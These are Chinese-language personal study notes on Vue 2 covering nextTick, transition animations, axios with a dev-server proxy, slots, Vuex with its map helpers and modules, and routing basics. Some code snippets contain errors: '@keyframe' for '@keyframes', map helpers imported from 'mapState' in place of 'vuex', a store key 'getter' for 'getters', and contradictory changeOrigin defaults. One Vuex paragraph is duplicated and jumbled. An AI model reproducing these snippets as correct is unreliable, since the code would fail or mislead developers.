  2. 方法2 (推荐) : 使用vc或vm对象.nextTick(function(){等模板渲染完成这里的代码才会执行})方式等待页面渲染完成再获取控件的焦点,比如在组件中vc或vm对象.nextTick(function(){this.$refs.abc.focus();}),就可以获取到焦点了

【老师笔记】nextTick

  1. 语法: this.$nextTick(回调函数)
  2. 作用: 在下一次 DOM 更新结束后 (就是修改数据后进行模板渲染完成后) 执行其指定的回调。
  3. 什么时候用: 当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

动画效果

使用原生css实现动画效果
使用js动态切换class名称就可以切换动画了

<h1 v-show="xxx" class="go">abdkj</h1>
<!-- <h1 v-show="xxx" class="come">abdkj</h1> -->

.come {
	animation: atguigu 1s;
}

.go {
	animation: atguigu 1s reverse; /*动画反着来*/
}

@keyframe atguigu{ /*atguigu是自定义的动画名称*/
	from{transform: translateX(-100%)} /*单位也可以写是px,不一定是百分比*/
	to{transform: translateX(0%)} /*单位也可以写是px,不一定是百分比*/
}

用transition标签实现动画

<transition> 
	<h1 v-show="xxx" class="go">abdkj</h1>
	<!-- <h1 v-show="xxx" class="come">abdkj</h1> -->
</transition>

<!--
使用vue特有的<transition>标签包裹要实现动画的标签,然后给css样式起名为固定的格式: v-enter-active (切换v-show=true时执行) 、v-leave-active (切换v-show=false时执行) 。
如果给<transition>使用name属性,比如<transition name="xxx">,那么v-enter-active、v-leave-active就得写为以name值而不是v为前缀的css名称,比如xxx-enter-active、xxx-enter-active。
如果想在初次渲染就立即执行动画,那么就添加属性<transition name="xxx" appear>等同于<transition name="xxx" :appear="true">,因为它最终也会渲染成<transition name="xxx" appear>
-->
<style>
.v-enter-active {
	animation: atguigu 1s;
}

.v-leave-active {
	animation: atguigu 1s reverse; /*动画反着来*/
}

@keyframe atguigu{ /*atguigu是自定义的动画名称*/
	from{transform: translateX(-100%)} /*单位也可以写是px,不一定是百分比*/
	to{transform: translateX(0%)} /*单位也可以写是px,不一定是百分比*/
}
</style>

注意: transition标签只能支持一个它里面的元素的动画,如果要实现transition中多个元素有相同的动画效果,需要把transition标签改为transition-group标签,且这些需要实现动画的元素得有key属性,且该key值在此transition-group标签唯一,transition-group用来给v-for使用也很合适


用过渡效果实现动画

实现和上面的transition例子一样的动画效果:

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition name="hello" appear>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
		transition: 0.5s linear;
	}
	/* 元素进入时的起点 (v-show的值为true的时候) 动画开始时元素的起点 */
	.hello-enter{ /* 因为transition标签使用了name属性,值为hello,所以这里也得以hello作为前缀 */
		transform: translateX(-100%);
	}

	/* 进入的终点 */
	.hello-enter-to{
		transform: translateX(0);
	}

	/* 元素离开的起点 */
	.hello-leave{
		transform: translateX(0);
	}

	/* 元素离开的终点 */
	.hello-leave-to{
		transform: translateX(-100%);
	}
</style>


<!-- style中相同样式的也可以合并,将上面的style代码简化后:  -->
<style scoped>
	h1{
		background-color: orange;
		transition: 0.5s linear;
	}
	/* 元素进入时 (v-show的值为true的时候) 动画开始时元素的起点、离开的终点 */
	.hello-enter,.hello-leave-to{
		transform: translateX(-100%);
	}
	/* 进入的终点、离开的起点 */
	.hello-enter-to,.hello-leave{
		transform: translateX(0);
	}
</style>


<!-- 为了不破坏原有的h1样式,可以改成以下:  -->
<style scoped>
	h1{
		background-color: orange;
	}

	/* 元素进入时 (v-show的值为true的时候) 动画开始时元素的起点、离开的终点 */
	.hello-enter,.hello-leave-to{
		transform: translateX(-100%);
	}

	/*指定元素进入和离开的过渡效果*/
	.hello-enter-active,.hello-leave-active{
		transition: 0.5s linear;
	}

	/* 进入的终点、离开的起点 */
	.hello-enter-to,.hello-leave{
		transform: translateX(0);
	}
</style>
<!-- 
以上代码实现了一个元素 (标签) 来的时候 (v-show的值为true的时候) ,vue会修改该元素 (标签) 的样式为有enter的样式
,包括这三个.hello-enter、.hello-enter-active、.hello-enter-to。离开同理,也是会修改元素的样式为有leave的样式
 -->

使用第三方动画库实现动画效果/过渡效果

npm库中的animate.css这个库就很好,官网https://animate.style

  1. 安装: npm install animate.csscnpm install animate.cssyarn add animate.css
  2. 引入: import 'animate.css'
  3. 使用:
    • 给要使用动画的标签使用name属性,比如name="animate__animated animate__bounce"
    • 配置标签的进入时的动画就使用enter-active-class属性,该属性值去官网选一个动画复制过来即可,enter-active-class="官网复制来的效果名称"
    • 配置标签的离开时的动画就使用leave-active-class属性,该属性值去官网选一个动画复制过来即可,leave-active-class="官网复制来的效果名称"

【老师笔记】Vue的过渡与动画

  • 作用: 在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类名以实现动画效果。
  • 写法:
    1. 准备样式:
      • 元素进入的样式(动画开始时):
        1. v-enter: 进入的起点
        2. v-enter-active: 进入过程中
        3. v-enter-to: 进入的终点
      • 元素离开的样式(动画结束时):
        1. v-leave: 离开的起点
        2. v-leave-active: 离开过程中
        3. v-leave-to: 离开的终点
    2. 使用<transition>包裹要用过渡动画的元素,并配置name属性: <transition name="hello"> <h1 v-show="isShow">你好啊!</h1> </transition>
    3. 备注: 若有多个元素需要过度,则需要使用: <transition-group>,且每个元素都要指定key值。

Vue中的网络请求

js发送网络请求的几种方式

  1. xhr(几乎不用,太原始太麻烦): 原生的js请求,let xhr = new XMLHttpRequest(); xhr.open,xhr.send()
  2. jQuery(对xhr的封装,但是jQuery中80%都是对dom的操作,没必要引入vue中使用):$.get(),$.post()
  3. axios: 用的最多 (npm i axios/npm install axios/cnpm i axios/cnpm install axios);
  4. fetch: 也是类似于xhr的,浏览器原生的。但是对IE兼容不好,有兼容性问题。

使用axios发送网络请求

  1. 引入: import axios from 'axios'
  2. 使用: axios.get("http://xxxxx").then(response=>{请求成功会走到这里,response.data是服务器返回的数据},error=>{请求失败会走到这里,error.msg是失败的原因})

如果报错信息有关键词: CORS、Access-Control-Allow-Origin,则说明跨域请求了 (违背了同源策略,同源策略规定了: 协议名、主机名、端口名一致。如果浏览器请求的信息和服务器上提供服务的协议名、主机名、端口名不一致,就违背了同源策略,说明跨域请求了) ,跨域请求是发送请求,服务器也收到了数据也响应数据了,但是客户端拿不到这个数据。

一个比较好的解决跨域问题的方法:
配置代理服务器,通过请求代理服务器,代理服务器请求后台服务器获取数据,因为服务器和服务器之间通讯不用ajax,所以同源策略管不到代理服务器,端口不一样也可以发送请求。

开启代理服务器的方法:

  1. nginx反向代理服务器
  2. 使用vue-cli脚手架,让脚手架帮我们开一个代理服务器

Vue中配置请求代理服务器

在Vue cli官网,看devServer.proxy配置项,在vue项目的根目录下,将配置项devServer添加到vue.config.js中 (如果没有该文件就手动创建) ,然后执行npm run serve即可开启代理服务器。
假设后台服务器提供服务端口是5000,那配置文件vue.config.js中的代理服务器就这么写:

module.exports = {
  devServer: {
	proxy: {
	  '/api1': { // 请求前缀(匹配所有以'/api1'开头的请求路径),该值应该在请求端口后。比如axios请求的是http://localhost:8080/api1,就会走到这个配置。然后代理服务器向后台服务器请求http://localhost:5000/api1。如果想把/api1过滤掉,请求不要带/api1,即访问代理服务器http://localhost:8080/api1/abc时,代理服务器访问后台服务器的是http://localhost:5000/abc,只需要添加pathRewrite:{'^/api1':''}配置项即可。
		target: 'http://localhost:5000', // 代理目标的基础路径,这里的5000是指后端服务器提供服务的端口

		ws: true, // 可选配置项,默认为true。用于支持websocket方式的通讯

		changeOrigin: true 
		// changeOrigin是可选配置项,默认为false,用于控制请求头中的Host值
		//,通俗说就是是否欺骗后台服务器本请求数据的客户端Host,建议值为true (欺骗) 。
		// changeOrigin用于给后台服务器提供当前访问的客户端的Host,比如真实是前端请求的8080端口
		// ,如果配置项是false,后台服务器获取到的Host就是原请求的"localhost:8080",如果是true
		// ,则给后台服务器提供的Host就和后台服务器一致,"localhost:5000"
		// changeOrigin设置为true时,服务器收到的请求头中的host为: localhost:5000
		// changeOrigin设置为false时,服务器收到的请求头中的host为: localhost:8080
		// changeOrigin默认值为true
		// pathRewrite: {'^/api1': ''} 

		// pathRewrite的意思是,前端发送的以/api1开头的请求,发送到代理服务器后,代理服务器向后端发送请求时
		// ,会将/api1替换成空字符串。"/api1"就是告诉node,我接口以/api开头的请求才使用代理,所以接口都写成"/api/xx/xx"的形式
		// ,前端发送请求的路径是"http://localhost:3000/api/xx/xx",可是不对呀,我正确的后端接口路径里面是没有/api的
		// ,所以就需要pathRewrite用^/api:''把/api去掉,这样既能有正确的标识,又能在请求接口的时候去掉/api
		// ,最后代理服务器往后端服务器发送的真实请求就是http://localhost:3000/xx/xx
	  },
	  '/foo': {
		target: 'http://localhost:5001' // 代理目标的基础路径
		...
	  }
	}
  }
}

配置代理服务器的优劣:

  1. 优点: 可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点: 配置略微繁琐,请求资源时必须加前缀。

引入Bootstrap报错

因为Bootstrap中用到了一些字体,但是实际安装的包中没有这些字体的资源文件,所以如果在组件中使用import方式引入会报错。解决方法: 将bootstrap.css复制到public/css文件夹中,然后再public的index.html中的head中引入,这样所有组件就都可以使用了: <link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css"></link>


js字符串拼接变量

类似于python的f’正常字符{变量}': axios.get(https://xxxx/abx/?q=${this.keyWord}$).then()


js合并两个对象的属性/ES6合并两个对象的属性

this.xxx = {...this.xxx, ...newObj}: 把this.xxx中的属性和newObj两个对象的属性合并,以并集的方式合并,如果两个对象有相同的属性,则以newObj对象的属性值为准进行合并 (属性有冲突时保留newObj的中的值) ,属性前面的三个点意思是把该对象的属性展开


vue-resource

vue-resource是对xhr封装的一个网络请求库。它是一个vue的插件,使用Vue.use(xxx)进行使用。vue-resource现在用的不多了,了解即可,之前在vue1.0时代时候用的多,那时候是vue团队在维护,后来转给他人团队维护了。vue作者尤雨希也推荐使用axios

使用步骤

  1. 安装: npm i vue-resource
  2. 导入: 在main.js导入import vueResource from 'vue-resource'
  3. 使用: Vue.use(vueResource),然后所有的vm和vc都有了这个插件。

使用和axios一样,只不过把axios换成了this.$http如下:

  • 使用axios发送请求: axios.get(“http://xxxxx”).then(response=>{请求成功会走到这里,response.data是服务器返回的数据},error=>{请求失败会走到这里,error.msg是失败的原因})
  • 使用vue-resource发送请求: this.$http.get(“http://xxxxx”).then(response=>{请求成功会走到这里,response.data是服务器返回的数据},error=>{请求失败会走到这里,error.msg是失败的原因})

slot插槽

  1. 默认插槽: 没有名字的插槽,只能有一个插槽
    在子组件中定义<slot></slot>标签,相当于占位,如果父组件在子组件标签体中写了<标签A>(可以是div标签或是任意的html标签),就把这个<标签A>放到子组件中<slot></slot>标签的位置。且<slot></slot>标签中可以写一些内容作为插槽的默认内容,如果父组件没有传数据(没有再子组件标签体中写任何内容)给插槽使用,就用默认的。

  2. 具名插槽: 有名字的插槽/多插槽
    在父组件定义往子组件填充插槽的标签时,给标签使用属性slot,比如<a slot="子组件的插槽名">Content</a>。然后在子组件的的插槽使用name属性来接收父组件传过来的模板 (标签) ,<slot name="子组件的插槽名"></slot>
    如果父组件往子组件的同一个插槽插入了多个元素,那这些元素会一次添加进去。比如父组件写<a slot="子组件的插槽名1">Content1</a><a slot="子组件的插槽名1">Content2</a><a slot="子组件的插槽名1">Content3</a>,效果是往子组件将父组件的传过来的元素依次添加到卡槽元素中显示出来。

如果有结构比如<div>是为了在结构上使用vue的一些属性方法,不是为了控制页面的布局,比如最外层用<div slot="xxx">是为了给插槽传多个元素,则可以使用<template>标签代替。且<template>标签有一种使用具名插槽的写法: <template v-slot:无需引号的插槽名>,该写法仅限于<template>标签

  1. 作用域插槽
    作用域插槽的使用场景: 要展示的数据在子组件中,但是要展示的结构需要父组件来决定,即需要从父组件传html结构给子组件的插槽,并用子组件的数据展示出来。
    比如子组件提供数据,父组件提供给插槽用的模板 (html标签/元素) 。
<!-- 子组件: -->
<slot :xxx="games" yyy="fa"></slot> <!-- 会把games的数据作为xxx传给插槽的使用者 (父组件)  -->
data:{games:[a,b,c,d],fa:"test"}




<!-- 父组件: -->
使用template标签包裹要放进插槽的元素
<template scope="nnn"> 这里的nnn不需要和xxx一样,nnn收到的是一个对象,该对象中有上面xxx这个数据。如果子组件传了多个数据,那就会都在这个传过来的对象中。
	里面正常写布局,这里{{nnn.xxx}}{{nnn.fa}}
</template>

<!-- 或者以下写法同等用于上面 -->
<template scope="{xxx}"> 拿到传过来的对象的xxx属性的值 (对象) 
	里面正常写布局,这里{{xxx}}拿到了games
</template>

<!-- 或者以下写法同等用于上面,使用slot-scope (新API)  -->
<template slot-scope="{nnn}">
	里面正常写布局,这里
</template>

简而言之插槽就是子组件挖的一个坑,然后父组件定义一个模板 (html标签) 将这个坑填上。如果子组件没有定义插槽,而父组件往子组件标签中传了模板。那么子组件的实例对象的$slots属性就会接收到父组件传的模板虚拟DOM

【老师笔记】插槽

  1. 作用: 让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于父组件向子组件传递模板结构或模板结构和数据。
  2. 分类: 默认插槽、具名插槽、作用域插槽
  • 默认插槽:
<!-- 父组件中 -->
<Category>
   <div>html结构1</div>
</Category>


<!-- 子组件中:  -->
<template>
   <div>
   	<!-- 定义插槽 -->
   	<slot>插槽默认内容...</slot>
   </div>
</template>
  • 具名插槽:
父组件中: 
<Category>
	<template slot="center">
		<div>html结构1</div>
	</template>

	<template v-slot:footer>
		 <div>html结构2</div>
	</template>
</Category>



子组件中: 
<template>
	<div>
	<!-- 定义插槽 -->
	<slot name="center">插槽默认内容...</slot>
	<slot name="footer">插槽默认内容...</slot>
	</div>
</template>
  • 作用域插槽: 数据在子组件的自身,但根据数据生成的结构需要组件的使用者(父组件)来决定,比如:games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定
<!-- 父组件中:  -->
<Category>
	<template scope="scopeData"> 
	<ul>
		<li v-for="g in scopeData.games" :key="g">{{g}}</li>
	</ul>
	</template>
</Category>

<Category>
	<template slot-scope="scopeData">
		<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
	</template>
</Category>



<!-- 子组件中:  -->
<template>
	<div>
		<slot :games="games"></slot>
	</div>
</template>

<script>
export default {
	name:'Category',
	props:['title'],
	data() {
		return { //数据在子组件自身
			games:['红色警戒','穿越火线','劲舞团','超级玛丽']
		}
	},
}
</script>

Vuex(特别重要)

Vuex是在Vue中实现集中式状态 (状态也就是数据) 管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理 (读/写 (写就是改数据) ) ,也是一种组件间通信的方式,且适用于任意组件间通信。
什么时候使用Vuex: 多个组件需要共享数据时。

vuex实现多组件共享数据【图】

image.png



vuex原理图【图】

image.png


搭建vuex环境

  1. 安装vuex: npm i vuex (这样安装是安装默认最新版本第4版,而第Vuex4是为Vue3所服务的,2022年2月7日后Vue3成为了Vue的默认版本,Vuex的默认版本也更新为了4。所以如果要在Vue2使用Vuex,得安装Vuex3,使用npm i vuex@3就是安装第3版的最后一个版本)
  2. 配置store: 创建文件/src/vuex/store.js或者/src/store/index.js。只要在项目中看到这个路径,这就默认项使用了vuex。并在这个js文件中导入Vue,Vuex然后Vue.use(Vuex),最后再创建store实例(必须是这个执行顺序,不然会报错)。内容看下面代码。
  3. 把store放到所有vm、vc能看得到的地方: 在new Vue({})之前导入storeimport store from './store/index'import store from './store'Vue认识这个index,所以可以省略。然后new Vue({})时,在data平级添加store配置项new Vue({store:store})或new Vue({store})。这样vm和vc都能看得见了,都能通过this.$store来调用了
  4. 组件.store()来调用

/src/vuex/store.js或者/src/store/index.js内容如下:

//本文件用于创建Vuex中最为核心的store
import Vue from 'vue'
import Vuex from 'vuex' //引入Vuex

//应用Vuex插件。因为在创建store实例之前必须执行Vue.use(Vuex),所以这行代码放这里
Vue.use(Vuex)

//准备actions——用于响应组件中的动作
const actions = {}

//准备mutations——用于操作数据 (state) 
const mutations = {}

//准备state——用于存储数据
const state = {
	sum:0 //当前的和
}

//创建并暴露store
// export default new Vuex.Store({
// 	actions: actions,
// 	mutations: mutations,
// 	state: state,
// })

// 如果对象的键和值重名,就触发了js对象的简写形式,所以上面注释的那几行代码可以写为下面这样: 
export default new Vuex.Store({
	actions,
	mutations,
	state,
})

**Vue脚手架中js代码的执行顺序:**在Vue脚手架中,如果js文件中,import和import之间的行数有代码,也会先把所有的imoort语句执行完才执行正常的js代码语句。而不是先从上往下一行一行执行遇到代码执行代码遇到import执行import,而是先从上到下执行完所有import再从上往下执行js代码语句。


Vuex Demo: 求和

Demo需求,在Vuex中有一个数据: sum:0,需要通过两个不同组件实现对Vuex中的sum这个值进行加减
组件A: 要对Vuex中sum加上某个值x,sum会变成sum+=x
组件B: 要对Vuex中sum减去某个值y,sum会变成sum-=y

/src/vuex/store.js或者/src/store/index.js:

//本文件用于创建Vuex中最为核心的store
import Vue from 'vue'
import Vuex from 'vuex' //引入Vuex
Vue.use(Vuex) //应用Vuex插件

// 准备actions: 用于响应组件中的动作
const actions = {
	jia(context,value){// value加到sum上
		console.log('actions中的jia被调用了')
		context.commit('JIA',value)
	},
	jian(context,value){// sum减value
		console.log('actions中的jian被调用了')
		context.commit('JIAN',value)
	}, 
	jiaOdd(context,value){// 如果value是奇数就加到sum上
		console.log('actions中的jiaOdd被调用了')
		if(context.state.sum % 2){ // 如果state.sum的模的结果=1,即sum是奇数,就执行
			context.commit('JIA',value)
		}
	},
	jiaWait(context,value){// 过500毫秒再加
		console.log('actions中的jiaWait被调用了')
		setTimeout(()=>{
			context.commit('JIA',value)
		},500)
	}
}

// 准备mutations: 用于操作数据 (state) 
const mutations = {
	JIA(state,value){// 一般在mutations中定义的函数名定义为大写的,用于区分和actions中的同名函数,这样一看就知道是调用的哪里的方法了
		console.log('mutations中的JIA被调用了')
		state.sum += value
	},
	JIAN(state,value){
		console.log('mutations中的JIAN被调用了')
		state.sum -= value
	}
}

//准备state用于存储数据
const state = {
	sum:0 //当前的和
}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
})

修改vuex中的数据

  • 组件A: this.store.dispatch(jia,5)调用Actionsjia的回调函数,然后在这函数中commit(JIA,value)调用mutationsJIA的回调函数,然后在该函数中操作state中的数据。(或者在组件A中直接调用mutationsJIA的回调函数,不经过Actions的逻辑也可以,直接执行this.store.dispatch('jia',5) → 调用Actions中的'jia'的回调函数,然后在这函数中commit('JIA',value) → 调用mutations中的'JIA'的回调函数,然后在该函数中操作state中的数据。(或者在组件A中直接调用mutations中的'JIA'的回调函数,不经过Actions的逻辑也可以,直接执行this.store.commit(‘JIA’,5)即可调用mutations中的’JIA’的回调函数)
  • 组件B: this.$store.dispatch(‘jian’,3) // 同上

获取vuex中的数据
组件的模板中使用{{$store.state.sum}}即可获取store中state里面存的值sum

Actions中的回调函数的第一个参数context
context就是上下文对象的意思,就是当前函数中可能需要到的一些方法、数据,都包装在context中供回调函数使用。比如可能要用到commit,所以就把commit放在context中了。
如果需要在Actions的函数1中调用函数2,使用context.dispatch(‘xxx’,x)继续调用即可。在Actions中也能操作state中的数据,但是不建议,因为开发者工具是监视的Mutations,如果通过Actions来修改state中的数据,开发者工具捕获不到操作过程。


Vuex开发工具的使用

Vue的开发者工具和Vuex开发者工具都合成了一个,安装到浏览器插件/扩展即可使用。

vuex开发者工具的使用【图】

image.png


Vuex中的getters

  1. 在/src/vuex/store.js或者/src/store/index.js中添加配置项getter与Actions同层级: const getter = {XXX(state){return state.sum+1; // 在自定义函数中对state的数据操作}}
  2. 配置到store中: export default new Vuex.Store({actions,mutations,state,getter,})
  3. 在组件中调用store中的getter: {{$store.getters.XXX}}
    总结: store中的state和getters,就类似于vm或vc组件中的data和computed。

Vuex中的mapState和mapGetters

前言: 因为在vm或vc组件中访问store中的数据的时候需要使用$store.state.xxx的方式,$store.state写多了就有点累赘。
如果能直接通过{{xxx}}而不是$store.state.xxx来访问,会简洁、方便很多。所以Vuex提供了mapState和mapGetters给开发者借助mapState和mapGetters生成计算属性。mapState和mapGetters用法一致,下面只举例mapState的使用:

  1. 在组件中导入: mapState: import {mapState,mapGetters} from 'mapState'
  2. 在组件中使用: const xx = mapState({'a1':'a2',}),这样就返回一个对象,xx的值为{a1:$store.state.a2},如果直接把mapState({'a1':'a2',})的返回的对象的属性展开合并到computed对象中去(比如computed:{...mapState({'a1':'a2',})} 展开后就变成了computed:{a1:$store.state.a2}),在模板中就可以直接使用{{a1}}来获取到$store.state.a2了,如果看不懂继续往下看。 (属性名比如a1可以不用双引号包裹)
computed:{
	原数据,
	...mapState({'a1':'a2',}) // 将获取到的数据合并进来。 (属性名比如a1可以不用双引号包裹) 
}
// 然后在当前组件的模板中就可以直接使用了{{a1}}

mapState的数组形式:

computed:{
	原数据,
	...mapState(['a2','b7'])
}
// 获取$store.state.a2、 $store.state.b7作为当前组件的computed属性a2,b7
// ,然后在当前组件的模板中就可以直接使用了{{a2}}、{{b7}}

js基础: 展开对象属性到另一个对象中
合并一个对象中的属性到另一个对象写法是,在对象前面加三个点然后将它放到一个对象中: let xx = {'b':2,'c':89}; let ok = {'a':1,...xx,'w':'sdf'};,"…xx"的意思是把xx的对象的属性展开到{'a':1, 'w':'sdf'}中,最终ok这个变量就变成了{'a':1,'b':2,'c':89,'w':'sdf'},这样就实现了将xx中的属性合并到了ok对象中去。


Vuex中的mapMutations和mapActions

前言: 因为在vm或vc组件中访问store中的Mutations中的函数的时候需要使用this.$store.commit(aa,bbb)的方式,写多了就有点繁琐,mapMutations和mapActions就是解决这个问题的。

mapMutations的使用步骤

  1. 在组件中导入: mapState: import {mapMutations,mapActions} from 'mapState'
  2. 将mapMutations的结果合并到methods中去:
    methods:{
    	...mapMutations({当前组件自定义函数名xx:'Mutations中的属性名aa',}) // 将获取到的数据合并进来。 (属性名比如a1可以不用双引号包裹) 
    }
    
    // 以上相当于使用mapMutations的API在当前的methods中生成了函数:
    // 当前组件自定义函数名xx(abc){
    	// this.$store.commit('Mutations中的属性名aa',abc)
    // }
    
    // 执行结果是:
    methods:{
    	当前组件自定义函数名xx(abc){
    		this.$store.commit('Mutations中的属性名aa',abc)
    	}
    }
    
  3. 然后使用@click='当前组件自定义函数名xx(bbb)'调用函数,并传递参数值

以上就可以实现点击时候执行this.$store.commit('Mutations中的属性名aa',bbb)

以上是对象的写法,即mapMutations的参数写成一个对象mapMutations({当前组件自定义函数名xx:'Mutations中的属性名aa',})的形式。如果要生成的函数名和要commit调用的函数名一致,可以写成数组写法,同理参考上一节mapState的使用之数组写法。

mapMutations的数组写法形式如下 (如果在methods中生成的函数名和commit的函数名一致时可以使用):

methods:{
	...mapMutations(['Mutations中的属性名aa','Mutations中的属性名bb'])
}
// 就会生成函数'Mutations中的属性名aa'、'Mutations中的属性名bb',并添加到methods,Vue编译后或者运行时实际生成的代码是: 
methods:{
	Mutations中的属性名aa(参数1){
		this.$store.commit(Mutations中的属性名aa, 参数1)
	},
	Mutations中的属性名bb(参数x){
		this.$store.commit(Mutations中的属性名bb, 参数x)
	}
}

mapActions,同mapMutations
因为在vm或vc组件中访问store中的Actions中的函数的时候需要使用this.$store.dispatch(‘函数名’,函数值)的方式,写多了就有点繁琐。

// 对象写法
methods:{
	原数据,
	...mapActions({'当前组件自定义函数名xx':'Actions中的属性名aa',}) 
}


// 数组写法
methods:{
	原数据,
	...mapActions(['Actions中的属性名aa','Actions中的属性名bb']) 
}

【老师笔记】四个map方法的使用
1. mapState方法:用于帮助我们映射state中的数据为计算属性

computed: {
   //借助mapState生成计算属性: sum、school、subject (对象写法) 
	...mapState({sum:'sum',school:'school',subject:'subject'}),
		
   //借助mapState生成计算属性: sum、school、subject (数组写法) 
   ...mapState(['sum','school','subject']),
},

2. mapGetters方法: 用于帮助我们映射getters中的数据为计算属性

computed: {
   //借助mapGetters生成计算属性: bigSum (对象写法) 
   ...mapGetters({bigSum:'bigSum'}),

   //借助mapGetters生成计算属性: bigSum (数组写法) 
   ...mapGetters(['bigSum'])
},

3. mapActions方法: 用于帮助我们生成与actions对话的方法,即: 包含$store.dispatch(xxx)的函数

methods:{
   //靠mapActions生成: incrementOdd、incrementWait (对象形式) 
   ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

   //靠mapActions生成: incrementOdd、incrementWait (数组形式) 
   ...mapActions(['jiaOdd','jiaWait'])
}

4. mapMutations方法: 用于帮助我们生成与mutations对话的方法,即: 包含$store.commit(xxx)的函数

methods:{
   //靠mapActions生成: increment、decrement (对象形式) 
   ...mapMutations({increment:'JIA',decrement:'JIAN'}),
   
   //靠mapMutations生成: JIA、JIAN (对象形式) 
   ...mapMutations(['JIA','JIAN']),
}

备注: mapActions与mapMutations使用时,若需要传递参数需要: 在模板中绑定事件时传递好参数,否则参数是事件对象。


Vuex的模块化编码/Vuex命名空间

为什么要在Vuex中使用模块化编码?
之前不对Vuex中的代码进行模块化时,所有的代码都挤在同一个文件中如下所示的代码。同一个actions、同一个mutations、同一个getter、同一个state中。导致管理混乱,不易维护,也容易引发git冲突。
所以应该把不同的业务代码放不同模块中,最后再放入new Vuex.Store()中,并借住Vuex对代码进行模块化管理。

Vuex没有模块化时/src/vuex/store.js或者/src/store/index.js的代码:

//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
import Vuex from 'vuex' //引入Vuex
Vue.use(Vuex) //应用Vuex插件

//准备actions: 用于响应组件中的动作
const actions = {
	jia(context,value){// value加到sum上
		console.log('actions中的jia被调用了')
		context.commit('JIA',value)
	},
	jian(context,value){// sum减value
		console.log('actions中的jian被调用了')
		context.commit('JIAN',value)
	}, 
	jiaOdd(context,value){// 如果value是奇数就加到sum上
		console.log('actions中的jiaOdd被调用了')
		if(context.state.sum % 2){ // 如果state.sum的模的结果=1,即sum是奇数,就执行
			context.commit('JIA',value)
		}
	},
	jiaWait(context,value){// 过500毫秒再加
		console.log('actions中的jiaWait被调用了')
		setTimeout(()=>{
			context.commit('JIA',value)
		},500)
	}
}

//准备mutations: 用于操作数据 (state) 
const mutations = {
	JIA(state,value){// 一般在mutations中定义的函数名定义为大写的,用于区分和actions中的同名函数,这样一看就知道是调用的哪里的方法了
		console.log('mutations中的JIA被调用了')
		state.sum += value
	},
	JIAN(state,value){
		console.log('mutations中的JIAN被调用了')
		state.sum -= value
	}
}

//准备state: 用于存储数据
const state = {
	sum:0 //当前的和
}

const getter = {
	XXX(state){
		return state.sum+1; // 在自定义函数中对state的数据操作
	}
}

export default new Vuex.Store({
	actions,
	mutations,
	state,
	getter,
})

模块化做法: 将actions、mutations、getter、state中的函数或数据做一个业务上的分类。比如哪些函数或数据是用于订单模块的、哪些是用于商品模块的、那些是积分模块。然后配置几个模块,比如订单模块orderAbout结构如下

const orderAbout = {
	namespaced:true, // 开启命名空间才能
	state:{x:1},
	mutations: { ... },
	actions: { ... },
	getters: {
	bigSum(state){
		return state.sum * 10
	}
	}
}

然后可以将订单拆分为单独模块,可以写在store.js中,也可以写在单独的文件中然后再引入store.js文件

最后把这些Vuex模块放入Vuex.Store()中。如下:

const store = new Vuex.Store({
	 modules: {
	   orderAbout,
	   ...
	 }
})

模块化+命名空间目的: 让代码更好维护,让多种数据分类更加明确。
比如有两个组件personAbout、countAbout,要调用这些组件上的state/mapState、getters/mapGetters、dispatch/mapActions、commit/mapMutations的方式如下:

  1. 开启命名空间后,组件中读取Vuex的state数据:
//方式一: 自己直接调用读取
this.$store.state.personAbout.list

// 方式二: 借助mapState生成数据对象,再合并到当前的data中,得开启命名空间才能使用这种方式,Vuex才能解析得到第一个参数countAbout
...mapState('countAbout',['sum','school','subject']),
  1. 开启命名空间后,组件中读取getters数据:
//方式一: 自己直接调用读取
this.$store.getters['personAbout/firstPersonName']

//方式二: 借助mapGetters读取: 
...mapGetters('countAbout',['bigSum'])
  1. 开启命名空间后,组件中调用dispatch
//方式一: 自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',person)

//方式二: 借助mapActions: 
...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
  1. 开启命名空间后,组件中调用commit
//方式一: 自己直接commit
this.$store.commit('personAbout/ADD_PERSON',person)

//方式二: 借助mapMutations: 
...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),

在Vux的Actions中调用后端API/后台API

axios.get('https://xxxx').then(
response=>{
	context.commit('XXX',response.data) // 调用Mutasions中的方法
},
error=>{
	alert('出错啦')
})

路由

路由简介

路由就是一堆key-value的对应关系,多个路由需要经过路由器的管理
前端中的路由作用: 解决SPA应用 (single page web application) ,即要实现一个页面内有多个小页面来回切换。前端只做局部变化,而且顶部的url也会跟着变
多页面应用: 在不同的html之间转跳
单页面应用: 左侧导航区,右侧顶部标题、顶部右侧账号管理、右侧主区域是展示区

vue中的路由规则: 比如192.168.0.123:8080/class,这里的’/class’相当于路由中的key,某个组件相当于路由中的value,即这个路径和组件时一一对应的关系,转跳到某个路由,就切换到某个组件,比如当url变为192.168.0.123:8080/class时,如果配置了/class对应的是A组件,则某个区域 (比如设定的展示区域) 就切换到A组件。

路由的工作流程: 点击导航区的按钮,然后url变了,路由器根据url找到对应的页面并展示。

SPA应用: 整个应用只有一个完整的页面,点击页面中的导航链接不会刷新页面,只会做页面的局部更新,页面中的数据需要通过ajax请求获取。
什么是路由: 一个路由就是一组映射关系(key-value), key为路径,value可能是function或component

路由分类

  • 后端路由: value是function, 用于处理客户端提交的请求。当服务器接收到一个请求时, 根据请求路径找到匹配的函数来处理请求, 处理完成后返回响应数据给前端。
  • 前端路由: value是component,用于展示页面内容。当浏览器的路径改变时, 对应的组件就会显示。

路由的基本使用

